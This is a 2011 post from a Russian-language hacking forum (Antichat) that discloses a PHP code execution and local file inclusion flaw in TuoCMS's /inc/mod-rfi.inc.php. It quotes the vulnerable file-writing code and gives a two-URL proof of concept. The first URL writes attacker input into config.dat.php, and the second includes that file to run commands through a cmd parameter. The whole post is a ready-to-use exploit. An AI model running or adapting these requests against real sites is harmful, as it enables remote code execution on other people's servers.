Показать сообщение отдельно

  #457  
Старый 08.05.2011, 03:55
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами: 9846041

Репутация: 1177


По умолчанию

TuoCMS

1. PHP Code Execution + LFI

File:/inc/mod-rfi.inc.php

Need:rg = on

PHP код:
[COLOR="#000000"]$pos1 = strpos($pagina, "tp://");

$pos2 = strpos($pagina, "tps://");

if (($pos1 === false) && ($pos2 === false)) {

} else {

..............................

if (!file_exists($ifile)) {

$string = "[COLOR="#0000BB"][/COLOR]\n";

$llog = fopen($ifile,"w+");

$string = fwrite($llog, $string);

fputs($llog,"# $subject\n $body\n");

fclose($llog);

}else{

$llog = fopen ($ifile,"a+");

fputs($llog,"# $subject\n $body\n");

fclose($llog);

}

[/
COLOR
Посмотрев на код видно, что если передавать существующий файл, то в файл впишется верху и это нам все обломает. Поэтому мы будем записывать в конец уже имеющегося файла.

PoC:

1) http://localhost/inc/mod-rfi.inc.php?pagina=http://&ifile=../config.dat.php

2) http://localhost/index.php?pagina=config.dat.php&cmd=phpinfo();
 
Ответить с цитированием